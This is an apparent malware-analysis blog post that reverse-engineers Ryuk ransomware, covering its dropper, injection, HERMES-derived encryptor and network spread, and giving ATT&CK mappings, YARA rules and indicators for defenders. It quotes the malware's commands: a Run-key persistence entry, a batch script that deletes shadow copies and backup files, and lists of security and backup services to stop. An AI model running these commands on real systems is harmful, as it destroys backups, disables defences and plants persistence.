Malware Analysis Series

Deep technical malware analysis reports, reverse engineering tools, unpacked stages, and recreated TTPs with detections for infamous malware families.


Project maintained by shaddy43 Hosted on GitHub Pages — Theme by mattgraham

Ryuk Ransomware — From Infection to Encryption

Ryuk ransomware analysis

Ryuk is a high-impact ransomware family operated by the threat actor group Wizard Spider — the same crew behind TrickBot and Emotet. What makes Ryuk genuinely dangerous is not novelty in any single component but the way it combines them: a remarkably fast multi-threaded encryptor built on AES-256 and RSA, mass process injection that clones the ransomware into nearly every running process to parallelise the damage, Run key persistence so it survives reboots, and network share enumeration that pushes the blast radius well beyond the initially infected host.

This post walks through the full reverse engineering of a Ryuk sample end to end — from the initial dropper through persistence, privilege escalation and injection, into the HERMES-derived encryptor, backup destruction and service termination — with the debugger screenshots taken during the analysis.

⚠️ Note: This is a re-write by AI, but have been vetted by Author.

📄 The original report is also available as a PDF. Samples (password infected), recreated TTP code and helper scripts are in the GitHub repository.


Key findings

# Finding
1 Multi-threading encryptor — Ryuk spawns a new thread per file, making the encryption phase extremely fast and leaving very little reaction time.
2 AES + RSA encryption — each file gets a freshly generated AES-256 key, which is itself encrypted with the attacker’s embedded public key and appended to the file. Without the private key, recovery is not possible.
3 Process injection — Ryuk injects a full copy of itself into nearly every enumerated process, evading detection and multiplying throughput.
4 Exponential speed increase — because many injected instances encrypt concurrently, infection speed scales with the number of running processes.
5 Network share encryption — it actively enumerates and encrypts network shares, turning a single-host infection into an organisation-wide event.
6 HERMES lineage — the encryptor is the HERMES ransomware encryptor; delivery, persistence and injection differ, but the crypto core is shared, right down to the HERMES file marker.
7 Backup destruction — shadow copies, recovery options and a wide list of backup file extensions are wiped via a dropped batch script.
8 Service termination — embedded strings target ~180 security, backup and database services and ~45 processes for shutdown before encryption.

Ryuk lifecycle

Ryuk ransomware lifecycle diagram

The chain is compact and linear:

  1. The stage 1 dropper extracts the Ryuk payload and executes it, passing its own path as a command line parameter.
  2. Stage 2 (Ryuk) reads that parameter and deletes the dropper to remove evidence.
  3. It establishes persistence via a Run registry key.
  4. It enumerates and injects itself into all available processes, bar a small exclusion list.
  5. It runs the multi-threaded AES/RSA encryptor, dropping a ransom note in every directory.

Initial detonation

Detonating the sample produced an immediately informative process tree — the dropper extracts stage 2, which in turn shells out to modify the registry:

Ryuk initial detonation process tree

The observed chain:

yxrNV.exe  ← stage 2, launched with the original sample path as its parameter
  "C:\users\Public\yxrNV.exe" C:\Users\shaddy\Desktop\23f8aa94...db2.exe

cmd.exe
  "C:\Windows\System32\cmd.exe" /C REG ADD
  "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  /v "svchos" /t REG_SZ /d "C:\users\Public\yxrNV.exe" /f

reg.exe
  REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  /v "svchos" /t REG_SZ /d "C:\users\Public\yxrNV.exe" /f

Shortly after detonation, repeated UAC prompts appeared requesting admin rights for cmd — a consequence of running the dropper without elevation. Those prompts conveniently revealed where stage 2 and an additional malicious .bat file had been written.

Several files were created in Users\Public with hidden attributes:

Files dropped into the Public folder with hidden attributes


Stage 1: the dropper

Static analysis of the dropper surfaces a large number of suspicious strings — but nearly all of them actually belong to the embedded stage 2 payload, so rather than listing them, here is what the dropper actually does:

Stage 1 dropper creating the payload file

  1. Checks the Windows version and picks the extraction path accordingly:
    • Users\Public
    • Documents\Default User
  2. Selects a random 5-letter name and appends .exe.
  3. Creates the file with CreateFileW at the chosen path, setting hidden attributes.
  4. Checks the architecture to decide which embedded payload to extract from the data section — there is both a 32-bit and a 64-bit stage 2.
  5. Executes stage 2 with ShellExecuteW, passing the dropper’s own path as a parameter.

That last step is what enables stage 2 to delete its parent.


Stage 2: Ryuk ransomware

Static strings from stage 2 telegraph almost the entire behaviour set:

Ryuk stage 2 static strings

# String
1 \Documents and Settings\Default User\finish, \Documents and Settings\Default User\sys
2 \users\Public\window.bat
3 \users\Public\finish, \users\Public\sys
4 UNIQUE_ID_DO_NOT_REMOVE
5 SeDebugPrivilege
6 csrss.exe, explorer.exe, lsaas.exe
7 RyukReadMe.txt
8 \System32\cmd.exe
9 /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d " /reg:64

Persistence

The first thing Ryuk checks is whether a parameter was passed to it. That parameter is the dropper’s path — and Ryuk deletes the dropper to reduce suspicion.

GetCommandLineW and DeleteFileW removing the dropper

The sequence is GetCommandLineWCommandLineToArgvWDeleteFileW: read the argument, resolve it to a path, delete it.

It then establishes persistence by abusing the Run registry key, appending its own path and executing the command through cmd:

Ryuk persistence command construction

"C:\Windows\System32\cmd.exe" /C REG ADD
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
/v "svchos" /t REG_SZ /d "C:\users\Public\yxrNV.exe" /f

The value name is svchos — a deliberate near-miss for the legitimate svchost, designed to survive a casual eyeball of the Run key:

Run registry key showing the svchos persistence value

At every startup, stage 2 is executed again from the Public folder.

Privilege escalation

Ryuk relies on social engineering to be launched with admin rights in the first place, then performs token manipulation to grant itself what it needs — specifically SeDebugPrivilege, without which it could not inject into higher-privileged processes.

It checks for the privilege using LookupPrivilegeValueW and then adjusts the current token:

Adjusting token privileges for SeDebugPrivilege

Process enumeration

Ryuk enumerates every running process, recording integrity level, PID and other metadata into an array, using the standard toolhelp APIs:

CreateToolhelp32Snapshot
Process32FirstW
Process32NextW

Process injection

Ryuk then injects itself into every enumerated process, with only a short exclusion list of processes whose failure would destabilise the system:

lsass.exe
explorer.exe
csrss.exe

The injection itself is textbook — no exotic tradecraft, just the classic trio:

VirtualAllocEx → WriteProcessMemory → CreateRemoteThread

The payoff is speed: with a copy of Ryuk live inside dozens of processes, encryption runs massively in parallel. In the screenshot below, sihost contains an injected RWX region beginning with 4D 5A (MZ) — a full PE:

RWX region with MZ header inside an injected process

Dumping that region yields a broken executable — memory-dumped PEs have mangled addresses. Running it through pe_unmapper by hasherezade repairs it, and loading the result into IDA confirms it is byte-for-byte the same Ryuk sample. The PDB path gives it away:

Dumped payload repaired with pe_unmapper

To summarise the injection phase:

  1. The injected code is Ryuk itself.
  2. It injects into every process found via CreateToolhelp32Snapshot, except lsass.exe, explorer.exe and csrss.exe.
  3. It keeps injecting until the enumerated array is exhausted.
  4. During enumeration it also records each process’s authority level with a score.
  5. Only once injection completes does it move to encryption. The encryptor is an obfuscated function that resolves all of its API calls dynamically.

Injected Ryuk copy loaded in IDA

Patching out the injection

To reach the encryptor without fighting through mass injection, the simplest route was to patch out the call. IDA maps assembly to hex side by side, making it easy to locate the call bytes for the injection subroutine:

Locating the process injection call bytes in IDA

The bytes E8 20 06 00 00 are the call into the process injection routine. Replacing them with 90 90 90 90 90 (NOP) makes Ryuk skip injection entirely and proceed straight to encryption:

Injection call patched to NOP instructions


Encryption

The encryption routine begins by importing every required API at run-time — the encryptor is heavily obfuscated and imports nothing statically. Dynamic analysis exposes them trivially where static analysis would not:

Dynamically resolved API imports in the encryptor

Rather than stepping through them one by one, the patched sample (with injection NOP’d out) was run under tiny_tracer, which logs every API call automatically:

tiny_tracer API call log

The most interesting APIs resolved at run-time:

CryptAcquireContextW   CryptGenKey          CryptDeriveKey      CryptEncrypt
CryptDecrypt           CryptExportKey       CryptImportKey      CryptDestroyKey
FindFirstFileW         FindNextFileW        GetLogicalDrives    GetDriveTypeW
WNetEnumResourceW      WNetCloseEnum        GetIpNetTable       CreateThread
CreateProcessA         CreateProcessW       ShellExecuteW       WinExec
CreateFileA            ReadFile             WriteFile           GetFileSize
GetFileSizeEx          MoveFileExW          CopyFileA           DeleteFileW
SetFileAttributesW     RegOpenKeyExW        RegQueryValueExA    RegSetValueExW
RegDeleteValueW        GetUserNameA         GetCommandLineW     GetStartupInfoW
GetWindowsDirectoryW   GetModuleFileNameA   GetCurrentProcess   GetTickCount
CoCreateInstance       VirtualAlloc         Sleep               ExitProcess

AES-256 via the Microsoft Enhanced provider

The encryptor uses AES-256, evident from the arguments passed to CryptAcquireContextW — the container AES_unique and the Microsoft Enhanced RSA and AES Cryptographic Provider:

CryptAcquireContextW acquiring an AES context

The encryption sequence:

  1. Acquire an AES context.
  2. Enumerate files with FindFirstFileW / FindNextFileW.
  3. Write a ransom note (RyukReadMe.txt) into every directory it walks.
  4. Spawn a new thread per file — the source of Ryuk’s speed.
  5. Generate a fresh random key for every file, encrypt the file with it, then append the marker HERMES plus a meta blob. That meta is the file’s AES key encrypted with the attacker’s embedded public key.

HERMES marker and encrypted key meta appended to a file

The HERMES double-encryption guard

Before encrypting, Ryuk checks whether the file already ends with the HERMES keyword and meta. If it does, the file is skipped — preventing destructive double encryption that would make even paid recovery impossible:

Check for an existing HERMES marker to avoid double encryption

This is the clearest evidence of lineage: Ryuk uses the same encryptor as HERMES ransomware. Delivery, persistence and continuous injection are all different, but the encryptor function is HERMES’:

Side-by-side comparison of the Ryuk and HERMES encryptors


Network enumeration

Ryuk looks for reachable network shares and feeds their paths straight into the encryptor, using WNetOpenEnumW — clearly visible in the tiny_tracer logs:

Network share enumeration via WNetOpenEnumW

This is what turns a single compromised endpoint into a lateral, organisation-wide impact event.


Deleting backups

Ryuk removes shadow copies and recovery options by dropping a batch file and running it as admin. Without elevation it simply prompts the user — which is why the UAC prompts appeared during detonation:

Batch script dropped to delete shadow copies

The script wipes shadow storage, deletes a broad sweep of backup file types, and finally deletes itself (del %0):

vssadmin Delete Shadows /all /quiet
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
... (repeated for drives e:, f:, g:, h:)
vssadmin Delete Shadows /all /quiet

del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
... (repeated for drives e:, f:, g:, h:)
del %0

Service stop

Ryuk carries a large set of embedded strings indicating it stops services and kills processes before encrypting — freeing file locks on databases, mail stores and backups so those files can be encrypted too.

Note: this behaviour was not observed executing in the analysed sample; the strings are present in the binary. It remains a TTP worth hunting for.

Roughly 180 services are targeted with net stop, spanning backup, security and database products:

Acronis (AcronisAgent, AcrSch2Svc, "Acronis VSS Provider")
Sophos (SAVService, SAVAdminService, SepMasterService, sophossps, swi_*, "Sophos * Service")
Veeam ("Veeam Backup Catalog Data Service", Veeam*Svc, MSSQL$VEEAMSQL2008R2/2012)
Backup Exec (BackupExec* — Agent, JobEngine, RPCService, VSSProvider, …)
McAfee (McShield, McAfeeEngineService, McAfeeFramework, mfemms, mfevtp, mfefire)
Symantec / Malwarebytes / Trend Micro (SepMasterService, MBAMService, ntrtscan, TmCCSF, tmlisten)
Kaspersky (AVP, klnagent, kavfsslp, KAVFSGT, KAVFS)
ESET (EhttpSrv, ekrn, ESHASRV)
Microsoft SQL (MSSQL*, MSSQLFDLauncher*, SQLAgent*, SQLBrowser, SQLWriter, SQLSERVERAGENT)
Exchange (MSExchangeES, MSExchangeIS, MSExchangeMGMT, MSExchangeMTA, MSExchangeSA, MSExchangeSRS)
MySQL / Oracle (MySQL80, MySQL57, OracleClientCache80)
IIS / mail (IISAdmin, W3Svc, SMTPSvc, POP3Svc, IMAP4Svc, RESvc)
Other (wbengine, SDRSVC, SamSs, TrueKey*, Zoolz 2 Service, EPSecurityService, …)

And roughly 45 processes are terminated with taskkill /IM <name> /F:

Databases   sqlservr.exe  sqlagent.exe  sqlbrowser.exe  sqlwriter.exe  sqbcoreservice.exe
            mysqld.exe  mysqld-nt.exe  mysqld-opt.exe  oracle.exe  ocssd.exe  dbeng50.exe
            dbsnmp.exe  msftesql.exe  encsvc.exe  agntsvc.exe  isqlplussvc.exe  xfssvccon.exe
Office      excel.exe  winword.exe  powerpnt.exe  msaccess.exe  mspub.exe  onenote.exe
            outlook.exe  visio.exe  infopath.exe  wordpad.exe
Mail        thebat.exe  thebat64.exe  thunderbird.exe  tbirdconfig.exe  firefoxconfig.exe
Security    tmlisten.exe  PccNTMon.exe  CNTAoSMgr.exe  Ntrtscan.exe  mbamtray.exe
Backup      zoolz.exe  synctime.exe  mydesktopqos.exe  mydesktopservice.exe
Other       steam.exe  ocautoupds.exe  ocomm.exe

MITRE ATT&CK mapping

# Tactic Technique Sub-technique Where
1 Defense Evasion Obfuscated Files or Information Embedded payload Stage 1 dropper
2 Defense Evasion Indicator Removal File Deletion Stage 2 deletes stage 1
3 Persistence Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Persistence
4 Privilege Escalation Access Token Manipulation Privilege escalation
5 Discovery Process Discovery Process enumeration
6 Defense Evasion Process Injection Portable Executable Injection Process injection
7 Defense Evasion Obfuscated Files or Information Dynamic API Resolution Encryptor (obfuscated APIs)
8 Impact Data Encrypted for Impact Encryption
9 Discovery Network Share Discovery Network enumeration
10 Impact Inhibit System Recovery Delete backups
11 Impact Service Stop Service stop

See the full project matrix on the ATT&CK coverage page.


Detection opportunities


YARA rules

Two hunting rules written during this analysis:

rule Ryuk_Ransomware_Dropper {
  meta:
    description  = "Ryuk Ransomware dropper hunting rule"
    author       = "Shayan Ahmed Khan - shaddy43"
    date         = "22-11-2023"
    rule_version = "v1"
    malware_type = "ransomware"
    hash         = "23F8AA94FFB3C08A62735FE7FEE5799880A8F322CE1D55EC49A13A3F85312DB2"

  strings:
    $s1 = "\\Documents and Settings\\Default User" wide
    $s2 = "\\users\\Public\\" wide
    $s3 = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects From Ryuk\\ConsoleApplication54\\x64\\Release\\ConsoleApplication54.pdb" ascii
    $s4 = "vssadmin Delete Shadows /all /quiet" ascii
    $s5 = "vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB" ascii
    $s6 = "del /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk" ascii
    $s7 = "stop Antivirus /y" fullword ascii
    $s8 = "/IM excel.exe /F" fullword ascii

  condition:
    ( uint16(0) == 0x5a4d and
      filesize < 400KB and
      ( 2 of ($s*) and
        4 of them ) ) or
    ( all of them )
}

rule Ryuk_Ransomware {
  meta:
    description  = "Ryuk Ransomware hunting rule"
    author       = "Shayan Ahmed Khan - shaddy43"
    date         = "22-11-2023"
    rule_version = "v1"
    malware_type = "ransomware"
    hash         = "8B0A5FB13309623C3518473551CB1F55D38D8450129D4A3C16B476F7B2867D7D"

  strings:
    $s1  = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects From Ryuk\\ConsoleApplication54\\x64\\Release\\ConsoleApplication54.pdb" ascii
    $s2  = "AdjustTokenPrivileges" fullword ascii
    $s3  = "vssadmin Delete Shadows /all /quiet" ascii
    $s4  = "vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB" ascii
    $s5  = "del /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk" ascii
    $s6  = "stop Antivirus /y" fullword ascii
    $s7  = "/IM excel.exe /F" fullword ascii
    $s8  = "System32\\cmd.exe" wide
    $s9  = "/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\"" wide
    $s10 = "SeDebugPrivilege" fullword wide
    $s11 = "\\Documents and Settings\\Default User\\finish" wide
    $s12 = "\\users\\Public\\finish" wide
    $s13 = "csrss.exe" fullword wide
    $s14 = "explorer.exe" fullword wide
    $s15 = "lsass.exe" fullword wide
    $s16 = "\\Documents and Settings\\Default User\\sys" wide
    $s17 = "\\users\\Public\\sys" wide
    $s18 = "UNIQUE_ID_DO_NOT_REMOVE" wide
    $s19 = "\\users\\Public\\window.bat" wide
    $s20 = "HERMES" wide

  condition:
    ( uint16(0) == 0x5a4d and
      filesize < 200KB and
      ( 1 of ($s*) and
        8 of them ) ) or
    ( all of them )
}

Recreated TTPs

TTP Description Code
Data Encrypted for Impact (T1486) Recreation of the Ryuk multi-threaded AES encryptor, with a PowerShell helper to generate test files Write-up · Code

Indicators of compromise

Hashes (SHA-256)

23f8aa94ffb3c08a62735fe7fee5799880a8f322ce1d55ec49a13a3f85312db2   stage 1 dropper
8b0a5fb13309623c3518473551cb1f55d38d8450129d4a3c16b476f7b2867d7d   stage 2 Ryuk

Host artefacts

C:\Users\Public\<5 random chars>.exe          stage 2, hidden attributes
C:\Users\Public\window.bat                    shadow copy deletion script
C:\Users\Public\finish   C:\Users\Public\sys  marker files
\Documents and Settings\Default User\finish   alternate path variant
\Documents and Settings\Default User\sys      alternate path variant
RyukReadMe.txt                                ransom note, dropped per directory
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  value "svchos"
HERMES                                        marker appended to encrypted files
UNIQUE_ID_DO_NOT_REMOVE                       embedded identifier string

PDB path (present in both stages)

C:\Users\Admin\Documents\Visual Studio 2015\Projects From Ryuk\ConsoleApplication54\x64\Release\ConsoleApplication54.pdb

⚠️ The samples in this repository are live malware, stored in archives with the password infected. Detonate only inside an isolated, network-controlled VM with no access to production data. See SECURITY.md.


Tools used


Disclaimer

The artifacts, code and analysis in this repository are provided strictly for educational and research purposes. I do not condone or support any malicious use of this material.

← Back to all analyses